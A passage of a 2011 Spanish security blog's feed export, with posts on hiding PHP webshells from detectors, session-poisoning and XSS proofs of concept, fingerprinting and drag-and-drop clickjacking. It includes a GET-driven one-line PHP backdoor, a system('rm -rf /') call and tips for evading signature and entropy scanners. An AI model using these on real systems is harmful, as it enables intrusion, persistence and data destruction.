style="font-size: x-small;"&gt;[+]&amp;nbsp; &lt;/span&gt;&lt;/b&gt;&lt;span data-mce-style="color: #ff0000;" style="color: red;"&gt;&lt;span style="color: black; font-size: x-small;"&gt;&lt;span style="color: #38761d;"&gt;Enlace megaupload:&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;span data-mce-style="color: #ff6600;" style="color: #ff6600;"&gt;&lt;b&gt;&lt;a data-mce-href="http://www.megaupload.com/?d=ES4KXK52" href="http://www.megaupload.com/?d=ES4KXK52"&gt;&lt;span data-mce-style="color: #ff6600;" style="color: #ff6600;"&gt;-- DESCARGAR --&lt;/span&gt;&lt;/a&gt;&lt;/b&gt;&lt;/span&gt;&lt;/h1&gt;&lt;div data-mce-style="text-align: center;" style="text-align: center;"&gt;&lt;b style="color: #38761d;"&gt;&lt;span style="font-size: x-small;"&gt;[+]&amp;nbsp; &lt;/span&gt;&lt;/b&gt;&lt;span style="font-size: x-small;"&gt;&lt;b&gt;&lt;span style="color: #38761d;"&gt;Enlace a exploit-db:&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;/b&gt;&lt;/span&gt;&lt;span data-mce-style="color: #ff6600;" style="color: #ff6600; font-size: x-large;"&gt;&lt;b&gt;&lt;a data-mce-href="http://www.megaupload.com/?d=ES4KXK52" href="http://www.exploit-db.com/download_pdf/18144"&gt;&lt;span data-mce-style="color: #ff6600;" style="color: #ff6600;"&gt;-- DESCARGAR --&lt;/span&gt;&lt;/a&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span style="color: #38761d; font-size: x-small;"&gt;[+]&amp;nbsp; Enlace scribd:&amp;nbsp;&lt;/span&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;/b&gt;&lt;span style="color: orange; font-size: x-large;"&gt;&lt;b&gt;&lt;a data-mce-href="http://es.scribd.com/doc/73364142" href="http://es.scribd.com/doc/73364142"&gt;-- LEER ON-LINE --&lt;/a&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;h2 data-mce-style="text-align: center;" style="text-align: left;"&gt;&amp;nbsp;&lt;b&gt;&lt;span style="font-size: small;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;/h2&gt;&lt;h2 data-mce-style="text-align: center;" style="text-align: left;"&gt;&lt;b&gt;&lt;span style="font-size: small;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;/h2&gt;&lt;h2 data-mce-style="text-align: center;" style="text-align: left;"&gt;&lt;b&gt;&lt;span style="font-size: small;"&gt;Un saludo y hasta la próxima ;)&lt;/span&gt; &lt;/b&gt;&lt;/h2&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2806641995089653786-5692548447177282579?l=0verl0ad.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0verl0ad.blogspot.com/feeds/5692548447177282579/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2806641995089653786&amp;postID=5692548447177282579' title='9 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/5692548447177282579'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/5692548447177282579'/><link rel='alternate' type='text/html' href='http://0verl0ad.blogspot.com/2011/11/paper-breaking80211.html' title='Paper #breaking80211'/><author><name>Aetsu</name><uri>http://www.blogger.com/profile/18194172477660347832</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='25' src='http://4.bp.blogspot.com/-qwUVLnUJsJs/TxBSDSFsE3I/AAAAAAAAAPM/bRoXwgO50XI/s220/zorro.jpg'/></author><thr:total>9</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2806641995089653786.post-3159557666095663640</id><published>2011-11-22T23:46:00.007+01:00</published><updated>2011-11-23T01:01:38.921+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Backdoors'/><category scheme='http://www.blogger.com/atom/ns#' term='Técnicas'/><title type='text'>Indetectando webshells y backdoors</title><content type='html'>&lt;style&gt;fieldset { color: lime; border: dotted; cursor: crosshair; }&lt;/style&gt;&lt;br /&gt; ¡Saludos!&lt;br /&gt;&lt;br /&gt;   En los últimos años la cantidad de "defaces" se ha incrementado bastante, por lo que no es de extrañar que estén apareciendo cada vez más herramientas dedicadas a la detección de webshells y backdoors -como &lt;a href="https://github.com/Neohapsis/NeoPI"&gt; NeoPI&lt;/a&gt;-, que junto a los AVs, intentan limpiar los servidores.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;   La primera línea de detección de los AVs y las herramientas orientadas a WSD (WebShell Detection) está  basada en firmas. Un método de detección bastante simple y extendido es el de uso de checksums a modo de firma, que consiste en comparar los hashes de los archivos del servidor con los existentes en una lista negra. En dicha lista se encuentran los checksums de backdoors y webshells de los que ya tienen constancia las compañías de AVs. Esta técnica de detección es fácilmente evadible, puesto que añadiendo un comentario en el source se modificaría radicalmente su checksum y ya no sería detectado. &lt;br /&gt;&lt;br /&gt;   La detección de firmas suele ir más allá, tratando de encontrar nombres de funciones declaradas dentro de la propia webshell, o incluso trozos de código que sean típico. Este método puede surtir efecto en aquellas shells "clásicas" (como la C99, por ejemplo) a partir de las cuales se han ido distribuyendo distintas versiones con pequeñas modificaciones del código, pero que en esencia las funciones propias siguen manteniendo los mismos nombres, o incluso grandes porciones del código, por lo que la detección es inmediata.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;   En estos casos lo más fácil para que pase desapercibida es modificar los nombres de todas las funciones, reordenar el código y alterar la sección del HTML que "maquetará" a la shell.&lt;br /&gt;&lt;br /&gt;   Por supuesto que el uso de listas negras de funciones sospechosas (como system, o base64_decode) es otro método clásico para detectar archivos maliciosos. Para utilizar estas funciones y pasar desapercibido podemos hacer uso de las funciones variables -cuando una variable tenga "()" al final, PHP buscará una función con el mismo nombre- :&lt;br /&gt;&lt;br /&gt;&lt;fieldset&gt;&lt;br /&gt;$a = 'sys'.'tem'; &lt;br /&gt;$a('rm -rf /');&lt;br /&gt;&lt;/fieldset&gt;&lt;br /&gt;&lt;br /&gt;   Incluso podemos ir más allá y tomar la función desde variables de tipo GET (u otras variables como user-agent y similares):&lt;br /&gt;&lt;br /&gt;&lt;fieldset&gt;&lt;br /&gt;&amp;lt;?php&lt;br /&gt;echo $_GET[2]($_GET[1]);&lt;br /&gt;?&gt;&lt;br /&gt;&lt;/fieldset&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  Pero las herramientas de WSD no se quedan aquí, sino que también implementan otros conceptos curiosos para detectar shells ofuscadas. Un claro ejemplo es NeoPI, que busca dentro de los archivos cadenas largas de caracteres, puesto que son típicas de los códigos ofuscados. La idea en inicio es buena, pero yerra porque son varias las funciones que al pasarle un string eliminan los espacios que contenga. Un ejemplo es base64_decode: si le metemos una cadena en base64 donde cada pocos caracteres aparece un espacio, ésta va a ser leída perfectamente.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;   Además NeoPI también detecta archivos con una entropía muy alta, por lo que si añadimos espacios entre cada carácter de la cadena ofuscada con base64, la entropía descenderá y pasará desapercibido.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;PD: el bypassing a NeoPI estan sacadas de &lt;a href="http://elrincondeseth.wordpress.com/2011/08/17/bypasseando-neopi"&gt;este post de Seth&lt;/a&gt; donde podreis encontrar un ejemplo de una shell 100% invisible para esta herramienta.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2806641995089653786-3159557666095663640?l=0verl0ad.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0verl0ad.blogspot.com/feeds/3159557666095663640/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2806641995089653786&amp;postID=3159557666095663640' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/3159557666095663640'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/3159557666095663640'/><link rel='alternate' type='text/html' href='http://0verl0ad.blogspot.com/2011/11/indetectando-webshells-y-backdoors.html' title='Indetectando webshells y backdoors'/><author><name>The X-C3LL</name><uri>http://www.blogger.com/profile/03278676556306484665</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://1.bp.blogspot.com/_uXtiiCW6OCQ/SeO-V5l87xI/AAAAAAAAACM/Dj4wqobzFxE/S220/rorschach.sized.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2806641995089653786.post-7695211517289720699</id><published>2011-10-20T16:12:00.003+02:00</published><updated>2011-10-20T17:04:00.366+02:00</updated><title type='text'>Trazabilidad de un usuario</title><content type='html'>¡Saludos!&lt;br /&gt;&lt;br /&gt;    El tema de la trazabilidad ha sido largamente discutido en los últimos años debido en parte a las polémicas con la geolocalización, las cookies de seguimiento procedentes de terceros, &lt;a href="http://0verl0ad.blogspot.com/2011/08/html5-iv-local-storage-y-las-cookies.html"&gt;las supercookies con Local Storage&lt;/a&gt; (y en general todo lo que engloba el proyecto &lt;a href="http://0verl0ad.blogspot.com/2011/05/zombie-cookies-cookies-que-vuelven-la.html"&gt;evercookie&lt;/a&gt;).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;   El funcionamiento genérico del seguimiento consiste en colocar en distintos dominios scripts que generen un identificador único para cada usuario que visita ese dominio, permitiendo que cuando este usuario visite otro dominio se le pueda reconocer perfectamente. Se puede ver en el siguiente esquema (&lt;i&gt;Long live to Paint!&lt;/i&gt;):&lt;br /&gt;&lt;br /&gt;&lt;img src="http://img854.imageshack.us/img854/8479/dibujonf.jpg" /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;1)&lt;/b&gt; El usuario visita una web, y al hacerlo se manda una petición a un tercero (empresa de seguimiento) el cual genera un identificador.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;2)&lt;/b&gt; El identificador es almacenado de forma local en el usuario, en forma de cookie por ejemplo.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;3)&lt;/b&gt; Cuando ese usuario visita otros dominios que están en relación con la empresa de seguimiento, éste le está enviando su identificación, por lo que pueden tener una relación de páginas visitadas, asiduidad, rutinas, etc. que podrá ser sometidas a un proceso de data mining.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  Poco más o menos así es como funcionan en líneas generales. Hasta ahora los esfuerzos por identificar a un usuario para poder controlar sus rutinas han ido encaminados en buscar la permanencia del identificador dentro del navegador del usuario. Pero... ¿por qué no identificar los usuarios por las configuraciones de sus navegadores? Es decir, hacer fingerprinting al navegador para poder identificarlo de forma única.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  Existe numerosa información que se puede extraer de un navegador y que sirve para poder cercar y trazar a un usuario en concreto. El idioma, la zona horaria, el user-agent, el SO... son claros ejemplos de datos que se pueden obtener fácilmente y que nos ayudarían a poder identificar el país desde el que se conecta esa persona. Además, cosas más triviales como las fuentes instaladas (dependiendo de qué programas hayamos instalado éstas variaran), la resolución de la pantalla, o los plug-ins activos también son útiles para reducir la incertidumbre.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  Un proyecto muy interesante que aborda esta idea es &lt;a href="http://panopticlick.eff.org/index.php"&gt;PanoptiClick&lt;/a&gt; donde se realiza un análisis bastante exahustivo de las características de nuestro navegador:&lt;br /&gt;&lt;img src="http://img4.imageshack.us/img4/2590/dibujorgh.jpg"/&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  Por supuesto que mucha de la información que emplea puede llegar a ser spoofeable, pero es muy complejo llegar a ocultar absolutamente toda esta info y no dejar huella alguna.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2806641995089653786-7695211517289720699?l=0verl0ad.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0verl0ad.blogspot.com/feeds/7695211517289720699/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2806641995089653786&amp;postID=7695211517289720699' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/7695211517289720699'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/7695211517289720699'/><link rel='alternate' type='text/html' href='http://0verl0ad.blogspot.com/2011/10/trazabilidad-de-un-usuario.html' title='Trazabilidad de un usuario'/><author><name>The X-C3LL</name><uri>http://www.blogger.com/profile/03278676556306484665</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://1.bp.blogspot.com/_uXtiiCW6OCQ/SeO-V5l87xI/AAAAAAAAACM/Dj4wqobzFxE/S220/rorschach.sized.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2806641995089653786.post-890240023627185367</id><published>2011-10-14T10:44:00.004+02:00</published><updated>2011-10-14T11:34:13.853+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Session Poisoning'/><category scheme='http://www.blogger.com/atom/ns#' term='File Inclusion'/><title type='text'>Variables Superglobales que deberías de vigilar (II)</title><content type='html'>&lt;style&gt;fieldset { background: black; color: lime; cursor: crosshair; border: 1px lime dotted;}&lt;/style&gt;&lt;br /&gt;¡Saludos!&lt;br /&gt;&lt;br /&gt;  Hoy vuelvo a escaparme de mi rutina universitaria para hablar un poco más de esas variables que cuando pueden ser vector de ataque. El otro día traté de escribir un poco sobre las variables superglobales $_SERVER[] , hoy vamos a hablar de $_SESSION[] y sus implicaciones en los servidores compartidos entre varios dominios.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  $_SESSION es un array donde los programadores suelen incluir datos como las preferencias en la navegación del usuario (theme que usa, idioma, etc.) y que queda guardado en un archivo con el nombre "sess_%SESSION%", siendo session el identificador asignado a tu sesión (lo que habitualmente es enviado en la cookie, y que suele ser PHPSESSID).&lt;br /&gt;&lt;br /&gt;  Si la aplicación permite al usuario que navega asignar un valor a al array $_SESSION, éste podría incluir algún código malicioso que pudiese aprovechar alguna vulnerabilidad. Por ejemplo se podría utilizar para &lt;a href="http://0verl0ad.blogspot.com/2008/08/local-file-inclusion-infectando.html"&gt;inyectar shells y explotar un LFI como ya publiqué hace años&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  Es lógico pensar que si a este array no se le asignase ningún valor enviado por el usuario no existe la posibilidad de que inyecten código malicioso. Pero no tiene porqué ser así }:D&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  Los archivos que almacenan las variables asignadas a cada sesión en los dominios compartidos a veces podemos encontrarlos en un mismo directorio para todos esos dominios. Es decir, que un mismo directorio podemos encontrarnos con las sesiones del Dominio A, Dominio B, y del Dominio C. Esto es un gran problema (para el cual existen contramedidas, pero que son bypasseables -dejo un link al final bastante interesante sobre el tema-) puesto que se puede cambiar de sesiones entre los dominios.&lt;br /&gt;&lt;br /&gt;  De esta forma si alguien consigue tener un usuario en ese servidor podría llegar a spoofear las variables asignadas en otro dominio, o incluir en ellas código malicioso. El caso más común es el de buscar qué dominios están asignados al mismo servidor que el atacante quiere comprometer, tratar de comprometer uno de esos dominios vecinos y desde ahí lanzar el ataque. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  Un pequeño PoC (sacado de haxxor security):&lt;br /&gt;(esta sería la aplicación a atacar en el dominio A)&lt;br /&gt;&lt;fieldset&gt;// Starting the session&lt;br /&gt;session_start();&lt;br /&gt; &lt;br /&gt;// ...&lt;br /&gt; &lt;br /&gt;if(isset($_SESSION['theme']){&lt;br /&gt; include('themes/'.$_SESSION['theme'].'.php');&lt;br /&gt;}else{&lt;br /&gt; include('themes/default.php');&lt;br /&gt;}&lt;/fieldset&gt;&lt;br /&gt;&lt;br /&gt;Y este sería el exploit ejecutado en el dominio B:&lt;br /&gt;&lt;br /&gt;&lt;fieldset&gt;&lt;br /&gt;// Inser your session id.&lt;br /&gt;session_id('16khau0g8c3mp3t3jbsedsc1mf0blvpu');&lt;br /&gt;// Start the session&lt;br /&gt;session_start();&lt;br /&gt;// Spoof a variable&lt;br /&gt;$_SESSION['theme'] = '../../../../mallroy/public_html/shell';&lt;br /&gt;// Close the session&lt;br /&gt;session_write_close();&lt;/fieldset&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Para más info: &lt;a href="http://ha.xxor.se/2011/09/local-session-poisoning-in-php-part-1.html"&gt;Local Session Poisoning in PHP &lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2806641995089653786-890240023627185367?l=0verl0ad.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0verl0ad.blogspot.com/feeds/890240023627185367/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2806641995089653786&amp;postID=890240023627185367' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/890240023627185367'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/890240023627185367'/><link rel='alternate' type='text/html' href='http://0verl0ad.blogspot.com/2011/10/variables-superglobales-que-deberias-de.html' title='Variables Superglobales que deberías de vigilar (II)'/><author><name>The X-C3LL</name><uri>http://www.blogger.com/profile/03278676556306484665</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://1.bp.blogspot.com/_uXtiiCW6OCQ/SeO-V5l87xI/AAAAAAAAACM/Dj4wqobzFxE/S220/rorschach.sized.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2806641995089653786.post-5832922786017544471</id><published>2011-10-09T12:53:00.004+02:00</published><updated>2011-10-09T13:23:57.315+02:00</updated><title type='text'>Variables Superglobales que deberías vigilar  (I)</title><content type='html'>&lt;style&gt;fieldset { background: black; color: lime; cursor: crosshair; border: 1px lime dotted;}&lt;/style&gt;&lt;br /&gt;Saludos,&lt;br /&gt;&lt;br /&gt;  Tengo el blog (y en general todo lo que es el internet) bastante abandonado por el tema de la universidad que me está absorbiendo demasiado. Aun así os pido disculpas y trataré de ir sacando algún que otro post rápido, como el de hoy.&lt;br /&gt;&lt;br /&gt;  Normalmente cuando un desarrollador crea una aplicación web en PHP, e intenta securizarla un poco, siempre aplica alguna clase de filtro a las variables que puedan ser manipuladas desde el lado del cliente. También los IDS hacen esto, analizando/filtrando aquellas variables que puedan ser manipuladas maliciosamente: $_GET, $_POST, $_COOKIE y $_REQUEST. Pero... ¿sólamente éstas son manipulables? La respuesta es NO. Existen otras variables que deberíamos de vigilar, como es el caso de $_SERVER y $_SESSION. Hoy veremos un poco de $_SERVER y el próximo día que pueda postear de $_SESSION.&lt;br /&gt;&lt;br /&gt;  &lt;br /&gt;   $_SERVER es un array que contiene la información procedente de las cabeceras, así como la ruta de archivos. Los dos ejemplos más clásicos son los XSS (y SQLi) aplicados a PHP_SELF y X-FORWARDED-FOR. La primera variable hace referencia al script que se está ejecutando en relación con el directorio raíz, siendo explotable de esta forma por ejemplo:&lt;br /&gt;&lt;fieldset&gt;www.ejemplo.com/&amp;lt;script&gt;alert(/0verl0ad/)&amp;lt;/script&gt;&lt;/fieldset&gt;&lt;br /&gt;&lt;br /&gt;   Por otro lado X-FORWARDED-FOR es utilizado por los proxys para indicar la IP de origen, por lo que suele tener interés para hacer spoofing, aunque últimamente con los sitios de estadísticas y de los que muestran tu propia IP y la geolocalizan, etc. suele emplearse más para inyectar código malicioso (JavaScript o inyecciones de otro tipo).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;   Al igual que con estas dos variables, existen otras tantas dentro del array de $_SERVER que pueden ser explotadas si son empleadas en el script sin sanitizarlas previamente:&lt;br /&gt;&lt;br /&gt;&lt;fieldset&gt;&lt;br /&gt;&amp;lt;?php&lt;br /&gt;echo $_SERVER['SERVER_PROTOCOL'];&lt;br /&gt;?&gt;&lt;br /&gt;&lt;/fieldset&gt;&lt;br /&gt;Si lanzamos una petición corrompida:&lt;br /&gt;&lt;br /&gt;&lt;fieldset&gt;&lt;br /&gt;GET /p.php &amp;lt;script&gt;alert(8)&amp;lt;/script&gt;&lt;br /&gt;Host: ------&lt;br /&gt;&lt;br /&gt;HTTP/1.1 200 OK&lt;br /&gt;Date: Sun, 09 Oct 2011 10:59:52 GMT&lt;br /&gt;Server: Apache/2.2.17 (Win32) PHP/5.3.6&lt;br /&gt;X-Powered-By: PHP/5.3.6&lt;br /&gt;Content-Length: 25&lt;br /&gt;Connection: close&lt;br /&gt;Content-Type: text/html&lt;br /&gt;&lt;br /&gt;&amp;lt;script&gt;alert(8)&amp;lt;/script&gt;&lt;/fieldset&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Ya sé que tiene poca chicha esta entrada, espero que la de $_SESSIONS sea más relevante.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2806641995089653786-5832922786017544471?l=0verl0ad.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0verl0ad.blogspot.com/feeds/5832922786017544471/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2806641995089653786&amp;postID=5832922786017544471' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/5832922786017544471'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/5832922786017544471'/><link rel='alternate' type='text/html' href='http://0verl0ad.blogspot.com/2011/10/variables-superglobales-que-deberias.html' title='Variables Superglobales que deberías vigilar  (I)'/><author><name>The X-C3LL</name><uri>http://www.blogger.com/profile/03278676556306484665</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://1.bp.blogspot.com/_uXtiiCW6OCQ/SeO-V5l87xI/AAAAAAAAACM/Dj4wqobzFxE/S220/rorschach.sized.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2806641995089653786.post-8486439043848231633</id><published>2011-09-21T01:38:00.004+02:00</published><updated>2011-09-21T01:50:28.556+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='SMF'/><title type='text'>Parches para SMF</title><content type='html'>¡Saludos!&lt;br /&gt;&lt;br /&gt;   Esta noche al conectarme a twitter me he encontrado con un enlace a una publicación de &lt;a href="http://www.daboweb.com/2011/09/21/disponibles-foros-smf-2-0-1-y-1-1-15-solventan-vulnerabilidades-criticas/?utm_source=twitterfeed&amp;utm_medium=twitter"&gt;DaboWeb&lt;/a&gt; anunciando parches de seguridad para SMF. Echando un ojo al &lt;a href="http://download.simplemachines.org/index.php?thanks;filename=smf_2-0-1_changelog.txt"&gt;changelog&lt;/a&gt; aparece la vulnerabilidad que habíamos reportado por Julio, y que tras ninguna respuesta liberemos en el blog &lt;a href="http://0verl0ad.blogspot.com/2011/08/smf-20-token-hijacking.html"&gt; SMF 2.0 Hijacking&lt;/a&gt;. Ahora, casi 3 meses después, lo han reparado, por lo que ya no lo consideraemos como un 0-day. &lt;br /&gt;&lt;br /&gt;  Gracias a los desarrolladores de SMF que se han entretenido en subsanar esta vulnerabilidad, puesto que no ha sido la primera vez que (por lo menos por mi parte) hemos reportado algun fallo de seguridad y nos han ignorado totalmente.&lt;br /&gt;&lt;br /&gt;Y por supuesto gracias a Seth, que descubrió otro vector para explotar la vulnerabilidad (y codeó el exploit).&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2806641995089653786-8486439043848231633?l=0verl0ad.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0verl0ad.blogspot.com/feeds/8486439043848231633/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2806641995089653786&amp;postID=8486439043848231633' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/8486439043848231633'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/8486439043848231633'/><link rel='alternate' type='text/html' href='http://0verl0ad.blogspot.com/2011/09/parches-para-smf.html' title='Parches para SMF'/><author><name>The X-C3LL</name><uri>http://www.blogger.com/profile/03278676556306484665</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://1.bp.blogspot.com/_uXtiiCW6OCQ/SeO-V5l87xI/AAAAAAAAACM/Dj4wqobzFxE/S220/rorschach.sized.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2806641995089653786.post-5293250222639356458</id><published>2011-09-20T12:38:00.004+02:00</published><updated>2011-09-20T13:40:45.075+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Clickjacking'/><category scheme='http://www.blogger.com/atom/ns#' term='HTML5'/><title type='text'>HTML5 [VI]: Drag'n'Drop attacks</title><content type='html'>&lt;style&gt;fieldset { background: black; color: lime; cursor: crosshair; border: 1px lime dotted;}&lt;/style&gt;&lt;br /&gt;&lt;br /&gt;¡Saludos!&lt;br /&gt;&lt;br /&gt;  El otro día publiqué &lt;a href="http://0verl0ad.blogspot.com/2011/09/cookiejacking-0-day-de-ie-y-rosario.html"&gt;las slides de Rosario Valotta&lt;/a&gt; sobre el "CookieJacking". En la presentación utilizaba la técnica de Drag'n'Drop para que la víctima enviase la cookie al atacante, asi que hoy voy a hacer un post explicando cómo funciona este vector.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;   ¿Qué es Drag'n'Drop? Cuando nos referimos a este vocablo hacemos referencia a aquellos mecanismos de arrastrar un objeto y dejarlo en otro punto (p.e. cuando arrastramos un icono del escritorio y lo colocamos en otro punto). Actualmente con HTML5 se ha incluido esta función, siendo fácil su implementación:&lt;br /&gt;&lt;br /&gt;&lt;fieldset&gt;&lt;br /&gt;&amp;lt;div draggable="true" ondragstart="event.dataTransfer.setData('text/plain','Test Drag and Drop');"&gt;&lt;br /&gt;&amp;lt;h1&gt;Test Drag and Drop&amp;lt;/h1&gt;&lt;br /&gt;&amp;lt;/div&gt;&lt;br /&gt;&amp;lt;br&gt;&amp;lt;input type="text" /&gt;&lt;br /&gt;&lt;/fieldset&gt;&lt;br /&gt;&lt;br /&gt;  Si lo testeais, podreis comprobar que el texto "Test Drag and Drop" se puede coger con el ratón y ser arrastrado hasta el input, que al ser soltado el ratón, quedará rellenado con ese texto. Pero no siempre lo que creemos arrastrar es lo que realmente arrastramos };D&lt;br /&gt;&lt;br /&gt;&lt;fieldset&gt;&lt;br /&gt;&amp;lt;div draggable="true" ondragstart="event.dataTransfer.setData('text/plain','¡Odio Twitter');"&gt;&lt;br /&gt;&amp;lt;h1&gt;¡Me gusta Twitter!&amp;lt;/h1&gt;&lt;br /&gt;&amp;lt;/div&gt;&lt;br /&gt;&amp;lt;br&gt;&amp;lt;input type="text" /&gt;&lt;br /&gt;&lt;/fieldset&gt;&lt;br /&gt;&lt;br /&gt;  Como podeis ver pese a que creemos que estamos arrastrando el texto "¡Me gusta Twitter!", en realidad lo que arrastramos es "¡Odio Twitter!". De esta forma un usuario común pasaría por alto el engaño, sin percatarse de lo que ocurre. Esto es útil en el momento de ocultar el ataque, puesto que puede usarse otros pretextos más atractivos (como juegos atractivos, o puzzles con ¡TETAS!, nunca fallan) para que el usuario haga Drag'n'Drop (no debemos perder de vista de que es necesaria la interacción directa por parte del usuario).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  Pero lo interesante de este vector no es esto, lo interesante es la posibilidad de bypassear SOP (Same Policy Origin). En síntesis SOP implica que los scripts ejecutados desde el lado del navegador (como JavaScript, por ejemplo) se apliquen únicamente al dominio de origen y no a otros, por lo que es bastante importante desde el punto de vista de la seguridad. La solución para evitar las restricciones SOP es utilizar un iframe, y hacer que el usuario haga "drop" sobre éste:&lt;br /&gt;&lt;br /&gt;&lt;fieldset&gt;&lt;br /&gt;&amp;lt;div draggable="true" ondragstart="event.dataTransfer.setData('text/plain','0verl0ad.blogspot.com');"&gt;&lt;br /&gt;&amp;lt;h1&gt;Proof of Concept&amp;lt;/h1&gt;&lt;br /&gt;&amp;lt;/div&gt;&lt;br /&gt;&amp;lt;iframe src="http://google.com"&gt;&lt;br /&gt;&amp;lt;/iframe&gt;&lt;br /&gt;&lt;/fieldset&gt; &lt;br /&gt;&lt;br /&gt;   El texto "0verl0ad.blogspot.com" es mandado al iframe que apunta a Google, y se ejecuta la búsqueda.&lt;br /&gt;&lt;br /&gt;   En definitiva este puede ser un vector interesante para explotar determinadas vulnerabilidades, como ya lo demostró Rosario Valotta y 0-day de IE. El problema que tiene esta técnica es la necesidad de interacción por parte del usuario (como cualquier 